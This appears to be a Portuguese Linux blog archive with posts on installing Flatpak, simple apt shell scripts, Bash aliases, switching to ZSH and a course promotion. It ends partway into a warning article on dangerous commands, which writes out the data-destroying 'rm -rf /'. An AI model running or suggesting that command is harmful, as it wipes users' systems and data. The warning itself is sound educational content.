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Como instalar e gerenciar pacotes Flatpak nas distribuições Linux

Há algum tempo atrás eu fiz aqui no blog duas matérias relacionados ao Snap, uma delas mostrando como você instala o suporte a eles em qualquer distribuição e outra ensinando a utilizar a ferramenta. Hoje é a vez do Flatpak com um combo! 😊 

Como instalar e utilizar os pacotes Flatpak




Tecnologias revolucionárias como o Flatpak e o Snap são ótimas, mas elas carecem da mesma coisa, justamente por conta de serem novidades, que é documentação coloquial. Por mais que existam manuais oficiais, sempre há algo que foge àquele conteúdo. Hoje eu vou te mostrar como fazer a instalação do Flatpak na maior parte das distribuições Linux e te dar as diretrizes básicas de como se utilizam estes pacotes.

Instalando o Flatpak na sua distribuição Linux


Basicamente o pacote é o mesmo em todas as distros, variando de acordo com o sistema e seu gerenciador de pacote, então vamos para a pequena lista em ordem alfabética:

Alpine Linux

O suporte a Flatpak pode ser instalado desta forma:
sudo apk add flatpak

Arch Linux (Manjaro/Antergos)

O suporte a Flatpak está disponível diretamente dos repositórios oficiais, e também existe a versão do AUR. Você pode instalar desta forma:
sudo pacman -S flatpak
No Arch, para ter as ferramentas de desenvolvimento (Flatpak-Builder) funcionando corretamente é necessário instalar algumas dependências extras, mas isso só serve para você que for desenvolver os pacotes, usuários comuns poderão usar apenas o comando acima.
sudo pacman -S --asdeps --needed elfutils patch
Debian

Com o lançamento da versão 9 do Debian que tivemos na semana passada, o suporte a Flatpak pode ser instalado à partir do repositório oficial também.

su root
(digite sua senha)
apt install flatpak
Para o Debian Jessie será necessário usar o repositório Backports.

Fedora

Do Fedora 23 em diante você habilita o suporte ao Flatpak facilmente com o comando:
sudo dnf install flatpak
Gentoo

Atualmente não existe uma forma oficial de instalar o Flatpak na distribuição, entretanto, existe um método não oficial que pode ser encontrado aqui.

Mageia


Instalar no Mageia é simples também, inclusive existem duas formas de fazer isso, dependendo do gerenciador de pacotes que você preferir utilizar. Lembre-se de executar os comandos como root, como no Debian:
dnf install flatpak
Quase igual do Fedora, não é? Outra opção é caso você prefira utilizar o urpmi como gestor, neste caso seria (também como root):
urpmi flatpak 
openSUSE

No openSUSE também existem duas formas de fazer a instalação, dependendo de qual versão do "Rei lagarto" você use. Se você usa a versão Leap ou Tumbleweed, em ambos os casos você pode usar o método 1-click install através do Yast, ou caso use a versão Tumbleweed em específico, você pode instalar via Zypper também:
sudo zypper install flatpak
Ubuntu (Linux Mint/elementary OS) 


No Ubuntu varia de acordo com a versão, caso você esteja usando a versão 17.10 ou superior, o flatpak já está no repositório e você pode instalar com um simples "sudo apt install flatpak", no entanto, para quem usa o Ubuntu 16.04 LTS ou 17.04 é necessário usar o PPA oficial, o mesmo vale para Linux Mint e elementary OS (ambos baseados na LTS) e as outras derivações oficiais do Ubuntu (Kubuntu, Xubuntu, Ubuntu MATE, etc) respeitando o seu versionamento.
sudo add-apt-repository ppa:alexlarsson/flatpak
sudo apt update
sudo apt install flatpak
Isso cobre a maior parte das distribuições, agora vamos aprender a utilizar o Flatpak.

Como usar os pacotes Flatpak 


Vamos fazer agora do gerenciamento de pacotes Flatpak básico para você poder atualizar as aplicações, instalar e remover e fazer consultas sobre informações.
Quer aprender a fazer isso com o apt? Confira este artigo.
Acho que em primeiro lugar é bom que você saiba que pode consultar toda a documentação sobre o Flatpak disponível atualmente aqui,  no site você encontra informações sobre a estrutura dos pacotes, como criá-los, como criar repositórios, etc.

A grande questão que deixa um pouquinho mais complicado o Flatpak em relação ao Snap atualmente é que você precisa adicionar um repositório específico para cada programa em muitos casos, então é importante que o desenvolvedor te informe isso, você pode ver alguns exemplos nesta página na aba "Command Line".

Os pacotes Flatpak possuem os chamados flatpakref, que como o nome sugere, são pacotes quem contém referências para o download das aplicações e servem de intermediário, futuramente esses pacotes serão gerenciados diretamente com as centrais de aplicativos, como o GNOME Software, permitindo que os pacotes sejam instalados com dois cliques como qualquer deb ou rpm (assim como os Snaps), porém, atualmente, ao menos eu meus testes este recurso ainda não está funcional. Quando a integração estiver perfeita, a necessidade da adição manual dos repositórios poderá ser contornada.

O conteúdo de um flatpakref é basicamente este abaixo (LibreOffice), composto do nome do pacote, informações do repositório, como a URL do mesmo, qual é a versão de lançamento dele, chave GPG e link para o Runtime do Flatpak, etc.

[Flatpak Ref] Title=The Document Foundation LibreOffice Name=org.libreoffice.LibreOffice Branch=fresh Url=http://download.documentfoundation.org/libreoffice/flatpak/repository IsRuntime=False GPGKey=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 RuntimeRepo=https://sdk.gnome.org/gnome.flatpakrepo


Tirando a questão dos repositórios que podem variar de acordo a aplicação, o manuseio é simples de se fazer:

flatpak install nome_do_app - Instala uma aplicação ou um Runtime, por exemplo, flatpak install spotify.

flatpak update - Atualização uma aplicação ou Runtime, pode ser usado para uma aplicação específica também ou para um conjunto, como flatpak update skype.

flatpak uninstall - Como é de se supor, esta opção serve para remover um pacote ou Runtime, por exemplo, flatpak uninstall libreoffice.

Para saber o nome dos pacotes Flatpak que você tem instalado, você vai querer usar o:

flatpak list

Vamos agora para algumas opções um pouco mais avançadas:

flatpak info nome_do_app - Mostra informações sobre a aplicação.

flatpak run nome_do_app - Roda o App com o nome indicado

flatpak override - Este parâmetro serve para sobrescrever os requerimentos da aplicação.

flatpak make-current - Produz uma versão específica do app indicado (develop)

flatpak enter - Entra em uma aplicação

flatpak document-export - Exporta um arquivo para o modo Sandbox

flatpak document-unexport - Para a exportação iniciada com o comando anterior

flatpak docuiment-info - Mostra informações sobre os Apps exportados

flatpak document-list - Lista os arquivos/Apps exportados

flatpak remotes - Lista os repositórios remotos habilitados

flatpak remote-add nome_do_repositório - Adiciona um repositório Flatpak

flatpak remote-modify - Modifica um repositório remoto

flatpak remote-delete - Deleta um repositório remoto

flatpak remote-ls - Mostra as Runtimes e aplicações disponíveis

Estes são os principais, mas existem outros especialmente voltados para desenvolvedores, vale a pena conferir o link que eu passei anteriormente com a documentação, para quem estiver interessado em desenvolver pacotes Flatpak, o site do projeto explica como você pode baixar o SDK e começar a fazer seus primeiros pacotes neste novo formato.

E claro, outra forma de você conhecer mais e entender os parâmetros de manuseio do Flatpak via linha de comando e usar o bom e velho:
flatpak --help
Até a próxima!
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terça-feira, 20 de junho de 2017

Como criar um Shell Script simples para automatizar a instalação de programas no Linux

Uma das coisas mais legais do Bash é o poder de automatizar tarefas, até mesmo na própria linha de comando. Hoje você vai aprender a criar um simples Shell Script para instalar um programa.

Shell Script




Para você entender o conceito, vamos dar um exemplo com um programa popular e simples, o GIMP. O GIMP é um manipulador de imagens que está no repositório de todas as distros Linux praticamente, como exemplo nos comandos vamos usar o gerenciador de pacotes "apt", comum no Debian, Ubuntu, Linux Mint e derivados, apesar disso, entendendo o conceito, você pode aplicar em qualquer distro, basta entender o gerenciador de pacotes dela e os comandos que ele aceita.

Claro, o GIMP pode ser instalado por centrais de apps sem comandos, pode ser também instalado com um simples # apt install gimp mas a intenção é te mostrar como você pode estruturar um script para automatizar a instalação de qualquer programa ou de vários ao mesmo tempo.

Vamos imaginar que você queria instalar o gimp a partir do terminal.

Muito provavelmente os passos que você dará serão:

1) Atualizar os repositórios
$ sudo apt-get update
2) Instalar possíveis atualizações do sistema:
$ sudo apt-get dist-upgrade -y
3) Efetivamente instalar o pacote.
$ sudo apt-get install gimp

O processo manual da instalação de um programa pode levar algum tempo, pois você deverá esperar que o primeiro comando termine sua execução para digitar o próximo.

Nem sempre atualizar repositórios é rápido e portanto é o seu tempo que está sendo gasto esperando algo que poderia facilmente ser automatizado.

O primeiro nível de automatização que poderíamos fazer aqui é criar uma fila de comandos (chamadas de listas) que serão executados pelo Bash em sequência.

Para isso basta separar os comandos com um ponto e vírgula:
sudo apt-get update ; sudo apt-get dist-upgrade -y ; sudo apt-get install gimp -y
Apesar de já automatizar um pouco o processo, não há praticamente nenhuma lógica envolvida.

Você muito provavelmente não deseja executar um "dist-upgrade" se o "update" falhar antes por qualquer motivo. Certo?

Aqui chegamos no nosso segundo nível de automatização. Em vez de usar o ponto e vírgula, podemos separar os comandos com "&&", e desta forma o Bash somente executará o comando seguinte se o anterior finalizar a execução com sucesso.
sudo apt-get update && sudo apt-get dist-upgrade -y && sudo apt-get install gimp -y
Agora já melhoramos bastante o processo, porém no caso de algum dos comandos retornar falha, esta fila de comandos simplesmente para de ser executada sem qualquer tipo de aviso mais elaborado para o usuário.

É possível em linha de comando adicionar mais lógica para continuar aperfeiçoando este nosso procedimento, porém este é aquele momento em que talvez seja mais proveitoso se criar um script de verdade e deixar o processo legível, em vez de simplesmente criar uma "tripa" de comandos que depois poderá dificultar a sua vida na hora de encontrar e consertar qualquer erro.

Para este nosso exemplo, usaremos o próprio "if" do Bash (que é uma estrutura de condicional explicada brevemente neste vídeo aqui)

Basta criar um arquivo de texto que você pode 'chamar do que quiser .sh", tipo "batatinha_quando_nasce.sh" e inserir os dados que vamos te mostrar. Tá bom, talvez seja melhor criar um arquivo chamado instala-pacote.sh o seguinte conteúdo:

#!/bin/bash

echo Atualizando repositórios..
if ! apt-get update
then
    echo "Não foi possível atualizar os repositórios. Verifique seu arquivo /etc/apt/sources.list"
    exit 1
fi
echo "Atualização feita com sucesso"

echo "Atualizando pacotes já instalados"
if ! apt-get dist-upgrade -y
then
    echo "Não foi possível atualizar pacotes."
    exit 1
fi
echo "Atualização de pacotes feita com sucesso"

# note que $1 aqui será substituído pelo Bash pelo primeiro argumento passado em linha de comando
if ! apt-get install $1
then
    echo "Não foi possível instalar o pacote $1"
    exit 1
fi
echo "Instalação finalizada"

Veja que utilizamos o operador "!" após o "if" para inverter o resultado do comando seguinte, portanto o conteúdo das condicionais (código que está entre o "then" e o "fi") somente será executado caso os comandos falhem na execução. Também utilizamos o comando "exit 1" para pedir ao Bash que interrompa a execução do script em caso de falha.

Para executar o script basta rodar a seguinte linha:

sudo bash instala-pacote.sh gimp

Desta forma podemos utilizar o mesmo script para qualquer pacote, e o "sudo" só precisa ser invocado uma vez. Basta passar o nome do pacote desejado em linha de comando e ver o Bash fazer o resto sozinho.

É possível melhorar e incrementar o script de diversas maneiras. Podemos imprimir mensagens com cores, suprimir a saída em tela do comando apt-get para facilitar a leitura, dentre outras coisas.

Basta ter criatividade e dominar a linguagem do shell script para poder automatizar praticamente o que você quiser.


Outra coisa que você pode fazer é incluir dentro do Shell Script os comandos para a instalação do pacote em específico, assim você pode rodar apenas o Shell Script e ele se encarrega de fazer a instalação para você.

Você pode por exemplo criar um script de pós formatação para o seu sistema, acrescentando repositórios, pacotes e programas que você normalmente usa, incluindo as opções para fazer a atualização do sistema e apenas rodar um Shell Script depois de instalar a sua distro e ir tomar café enquanto seu sistema é montando automaticamente. É mais do que bacana!

Nós lançamos nesta semana o nosso curso avançado de Shell Script, onde você vai aprender coisas como esta deste post e muitas outras para automatizar a sua vida de usuário Linux, as matrículas estão abertas até Quinta-feira, dia 15 de Junho e tem promoção especial para quem comprar hoje até a meia-noite. Corre lá pra conferir antes que fechem as matrículas.

Até a próxima!
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terça-feira, 13 de junho de 2017

5 motivos para se aprender Shell Script e dominar o Linux

Não dá para negar que o Bash é um dos interpretadores de comando mais utilizados no mundo.
E não é a toa. Às vezes é impossível ver o potencial escondido atrás da linha de comando do Bash a olho nú.

Shell Script



Basta abrir a man page do Bash para ver o mundo de possibilidades (e até se impressionar/amedrontar um pouco).

Se você já fez o nosso curso de terminal, você já teve uma pequena amostra da quantidade de coisas que dá pra fazer na linha de comando (modo interativo).

Porém, muito se engana quem acha que shell scripts só servem para automatizar backups e afins.

Abaixo vamos listar 5 motivos para se aprender a arte do shell scripting.

1 - Inúmeras partes de uma distribuição linux utilizam shell scripts.

Shell Script


- Sistemas de empacotamento (rpm e deb): scripts são usados na hora de criar pacotes, e até na hora de instalar (scripts pós instalação).

- Init systems (upstart, sysvinit): precisam de shell scripts para controlar serviços que rodam aí por debaixo dos panos.

- Grub: Arquivos que geram configurações do boot são shell scripts: /etc/grub.d/

- startx: famoso comando que inicia modo gráfico é um shell script.

- xdg-open: comando para abrir arquivos automaticamente no programa correto, também é um shell script.

Poderíamos passar horas aqui listando lugares e sub-sistemas de uma distribuição linux que usam shell scripts.

2 - Novos conceitos, mas os Shell Scripts estão lá

Shell Scripts em drones?


É impressionante como o tempo passa, as tecnologias evoluem, os conceitos de computação mudam, porém shell scripts sempre aparecem em algum canto.

Talvez você tenha percebido que o que mais se fala hoje em dia é sobre computação em nuvem.
Demanda por novos profissionais que entendam de diversas tecnologias diferentes surgem, como docker e openstack.

E apesar dos conceitos novos, ainda lá na base o shell script continua firme e forte.

- Docker: Dentro do arquivo que define um container docker você pode utilizar shell scripts.

- Openstack: Você pode executar um script no primeiro boot de uma máquina virtual para personalização.

3 - Entender Shell Scripts melhora seu conhecimento no modo interativo

Aprendendo Shell Script


O Bash pode ser executado em basicamente dois modos: interativo (linha de comando) e não interativo (scripts).

Uma das coisas mais fascinantes do mundo dos interpretadores de comandos é o número de formas diferentes para se executar uma mesma tarefa.

Muitas pessoas passam muitos anos com um canivete suíço nas mãos, porém tentam fazer tudo somente utilizando a faca mais simples do canivete, pois é a única que sabem abrir.

Este canivete é o Bash. Quando nos aprofundamos em scripts e entendemos suas estruturas para controle de fluxo, variáveis, etc, conseguimos otimizar muito nosso tempo. Estruturas como o "for", e até mesmo funções, que geralmente são encontradas somente em scripts, podem facilmente
ser utilizadas direto na linha de comando em modo interativo. E é aí que está o pulo do gato.

Tarefas como renomear vários arquivos de um diretório de uma só vez podem facilmente ser feitas com uma linha como a seguinte:

for i in *.txt; do mv $i ${i%%.txt}-old.txt; done # renomeia todos os arquivos .txt para arquivo-old.txt

4 - Melhorar seu currículo

Currículo Shell Script


Qualquer pessoa que deseje trabalhar profissionalmente com Linux, ou seja, fazer do seu hobby uma profissão de verdade, precisa necessariamente dominar shell scripts. Independente da área que você planeje atuar (programação, administração de redes, administração de sistemas) você precisará escrever e ler scripts de outras pessoas.

Há ofertas de emprego que hoje em dia nem mesmo mencionam a exigência de saber shell scripts pois já assumem que o candidato sabe.

5 - Shell script é divertido

Shell Script é divertido


Somente amantes de tecnologia irão entender este motivo. Mas sim, o prazer de automatizar tarefas e ver aquele script que você criou do zero funcionando sozinho e ficar orgulhoso de ver ele fazendo aquilo que antigamente você precisava fazer "na mão"... este sentimento inexplicável já é motivo suficiente para largar tudo o que você está fazendo e ir correndo aprender shell scripts.

Claro que há muito material da internet para você pesquisar, apostilas e tudo mais, mas como vocês pediram diversas vezes, nós vamos lançar um novo curso no EAD.

Se você não tem ideia por onde começar e precisa de um guia, fique ligado que em breve lá no EAD do Diolinux será lançado um curso completo de Shell Script. Mais de 11 horas de vídeo aulas explicando detalhadamente tudo o que você precisa saber para dominar a arte automatizar tarefas
e otimizar a sua vida na linha de comando.

Este artigo foi escrito em parceria com o nosso professor Tiago Salem, ele já possui um curso de Bash (Terminal) lá no Diolinux EAD, esse curso é quase que um pré-requisito para o de Shell que está por vir, vale a pena dar uma olhada.

Até a próxima!
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quarta-feira, 7 de junho de 2017

48 horas para você dominar o Terminal Linux!

Você é o tipo de usuário Linux que vive brigando com o terminal? Então hoje você terá a oportunidade de fazer o nosso curso completo de Bash e aprender a falar a língua do terminal pelo mesmo valor de um mês na Netflix!

Aprenda a língua do terminal Linux- Curso de Bash




Nós elaboramos um curso para você virar craque no terminal e não ter mais medo da "telinha preta", sem enrolação!

São um total de 15 vídeo aulas com duração variada e material complementar onde você vai aprender a "língua" do terminal Linux, os assuntos abordadores serão os seguintes:

 - Os principais comandos do terminal;
- Entradas e saídas
- Redirecionamento para arquivos
- Redirecionamento entre processos
- Variáveis
- Comandos para gerenciar arquivos
- Comandos para administrar o sistema
- Como encontrar ajuda para trabalhar de forma autônoma depois do curso
- Gerenciamento de espaço de rede

E muito, muito mais!

Bônus: Comprando nesta promoção você irá receber gratuitamente um treinamento de 30 minutos extra sobre o editor de textos VIM, muito popular no mundo Linux.

Objetivo: Perder o medo de usar o terminal e passar a enxergá-lo como a ferramenta poderosa que é para te auxiliar a ter controle absoluto sobre o seu computador.

A quem se destina: Pessoas interessadas em aprofundar os seus conhecimentos do Linux e dispostas a terem o controle completo do computador em suas mãos.

Certificado: Você receberá um certificado de finalização do curso assinado com o nome do instrutor e com o nome do diretor do Diolinux EAD.

Carga Horária: O tempo de duração do curso gira em torno de 4,5 horas, entretanto, o valor pode praticamente dobrar se você fizer todos os exercícios propostos durante as aulas.

Conheça o seu professor!


Por quanto?


Claro, não menos importante é o valor para acesso a esse incrível conteúdo. Como eu disse no início, vai ser o valor de uma mensalidade da Netflix para você poder adquirir este conhecimento e virar um Ninja no Terminal.

As aulas serão no nosso EAD e você terá acesso a este curso por apenas R$ 19,90, mas atenção, esta oferta vale por apenas 48 horas e apenas para os primeiros 50 compradores! Caso as 50 vendas sejam feitas nas próximas horas a promoção vai se encerrar e o preço voltará ao seu padrão, R$ 79,90. Encerrando-se dia 12/04/2017 às 14 horas.
Curso de Bash
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E aí, está esperando o que pra dominar o terminal de vez?


Até a próxima!
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segunda-feira, 10 de abril de 2017

Do Bash para o ZSH - Como alterar o terminal padrão no Linux

Por mais que isso seja algo que maior parte dos usuários não dá muita importância, é bom que você saiba que o Bash, apesar de ser o interpretador de comandos padrão e mais popular, não é a única alternativa que você tem, aliás, existem algumas outras muitos interessantes, como o ZSH, que você aprenderá a configurar hoje.

Substituindo o bash pelo ZSH




Eu não sou um árduo usuário de terminal no Linux, dado o meu envolvimento com o público mais leigo, eu muitas vezes evito usar ele para poder sentir na pele quais são as dificuldades, dúvidas e problemas que os usuários podem ter e assim poder construir alguns dos artigos do blog, mas confesso que me interesso pelo assunto e é sempre bom conhecer novas ferramentas.

Mais de um mês atrás eu estava falando com o meu grande amigo Gabriel, do canal Toca do Tux, sobre interpretadores alternativos ao Bash, visto que ele está fazendo uma série em seu canal intitulada "Muito além do GNU", que está muito interessante à propósito, onde ele mostra que apesar do Linux e do GNU serem comumente relacionados, um consegue existem sem o outro, e então ele me fez uma apresentação "formal" do ZSH, um shell com vários recursos interessantes para power users e que ele utiliza profissionalmente há muito tempo.

Há algum tempo atrás eu fiz um vídeo comparando um recurso que me chamou a atenção dentro do ZSH, confira abaixo:



Como não encontrei nenhum tutorial muito bem explicado sobre o assunto, hoje eu vou te mostrar como você pode trocar o shell padrão do seu sistema sem muita complicação, no caso vamos fazer a troca para o ZSH, mas o procedimento serve para qualquer outro que você goste mais, basta saber o caminho do binário dele.

Instalando o ZSH e substituindo o Bash como Shell padrão


O ZSH já está disponível no repositório da maioria das distribuições Linux, então fica fácil de instalar, mas caso você queria fazer de forma manual, há também a página no GitHub dele, lá você encontra informações sobre um projeto chamado "Oh My ZSH!" que vai turbinar o seu ZSH ainda mais, caso você queria extrair ainda mais do potencial da ferramenta.

No Ubuntu o processo de instalação via terminal é assim:
sudo apt install zsh
É só isso mesmo, fácil né?

Bom, uma vez que você abra o terminal, provavelmente ainda estará utilizando o Bash, para passar a usar o ZSH dentro do mesmo terminal basta digitar:
zsh 
Zsh Ubuntu

Repare como o terminal mudou seu visual, ao invés de você ter o popular "$" indicando o seu usuário comum, agora você tem um símbolo percentual. No caso de usar o root, tanto Bash, quanto ZSH vão exibir o tradicional "#".

Ok, então para você usar o ZSH basta digitar "zsh" dentro do Bash, mas e se você quiser que o emulador de terminal já abra com o ZSH como padrão, "como faz"?

Simples também, vamos usar o terminal novamente, precisamos editar o arquivo passwd que fica dentro deste diretório:
/etc/passwd
Para isso você pode usar um editor de textos de sua preferência, gedit, kate, vim, nano, etc, etc, então escolha o que mais gostar e vamos em frente. Por exemplo, usando o gedit:
sudo gedit /etc/passwd
gedit terminal padrão

Procure pela linha do seu usuário, ela deve estar ao final do arquivo, no meu caso na linha 40, mas o seu pode estar em outra, então olhe com calma.

Reparece que existe uma informação logo ao final da linha":/bin/bash", tudo o que temos a fazer aqui é trocar a palavra "bash" por "zsh".

Configurando ZSH

Depois de fazer a alteração, salve o documento. Será necessário encerrar a sessão do seu sistema e logar-se novamente, se preferir, você pode reiniciar também, mas isso provavelmente não será realmente necessário.

Ao logar-se novamente e abrir o terminal você já estará utilizando o ZSH, para reverter a configuração de volta para o Bash basta repetir este tutorial e mudar novamente o arquivo de configuração para "bash" no final ao invés de "zsh". Alternativamente, da mesma forma que você fez antes para testar o ZSH enquanto o Bash era o padrão, basta digitar "bash" dentro do terminal com o ZSH que o Bash volta rapidinho à aparecer.

Até a próxima!

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quinta-feira, 16 de março de 2017

Criando comandos personalizados do Terminal (Bash) do Linux

O Bash possui um recurso muito interessante que permite que você crie "atalhos" para comandos mais complexos. O recurso recebe o nome de "alias", ou "apelido/pseudônimo" do Inglês, isso permite que você agilize muitas tarefas do seu dia a dia.

Como criar Aliases no Terminal Linux


Entenda o recursos como uma forma de você abreviar comandos mais complexos, por exemplo, para atualizar o seu Ubuntu você poderia usar o seguinte comando:
sudo apt update && sudo apt dist-upgrade
Não seria bacana se ao invés de você digitar tudo isso você simplesmente digitasse:
atualizar
E o resultado fosse exatamente o mesmo do comando anterior? Então, é exatamente isso que o "alias" nas configurações do Bash permite que você faça.

Para entender melhor, confira o vídeo dos nossos parceiros do Oficina do Tux:


O funcionamento é simples, você basicamente precisa editar o arquivo .bashrc dentro da sua home para poder criar esses "atalhos", você pode usar o Gedit ou qualquer outro editor de textos para isso.

Vamos fazer um exemplo.

Abra o .bashrc:
gedit ~/.bashrc
Role a página até encontra uma sessão de "aliases" para fins de organização, assim você criar quantos quiser e deixá-los todos juntos:

Alias Terminal Ubuntu

A métrica de funcionamento é simples:

alias atualizar='sudo apt update && sudo apt dist-upgrade'

A frase sempre deverá começar com a palavra "alias", como indicado, a próxima palavra deverá ser o "alias" que você quer usar, ou seja, o comando que vai ser utilizado no lugar no comando maior, indicado no exemplo em vermelho, logo após teremos um sinal de igual, abrindo aspas simples e como destacado em azul, você deve inserir o comando que será executado quando o "alias" que você definiu for digitado no terminal Bash, lembre de fechar as aspas simples ao final e salvar o arquivo para que o Bash possa interpretá-lo.

Você pode criar quantos quiser, para a finalidade que quiser, tudo isso vai deixar o seu terminal muito intuitivo.

Veja também: Quer dominar o Bash? Conheça o nosso curso de Terminal

Para reverter o processo basta você apagar as linhas que você adicionou ou comentá-las usando "#" no início da frase, sem as aspas.

Outra forma de resetar as configurações é apagar o arquivo .bashrc dentro da sua home, assim que você abrir o terminal novamente, ou encerrar a sessão, logar-se e abrir o terminal novamente ele será recriado.

Esse procedimento afeta somente o seu usuário, caso você queria que essas mudanças no Bash funcionem para qualquer usuário do seu computador, ao invés de editar o arquivo dentro da home você deverá editar o arquivo bash.bashrc dentro de /etc.

Até a próxima!
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sexta-feira, 10 de março de 2017

7 comandos perigosos do Linux que você NUNCA deve executar

Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
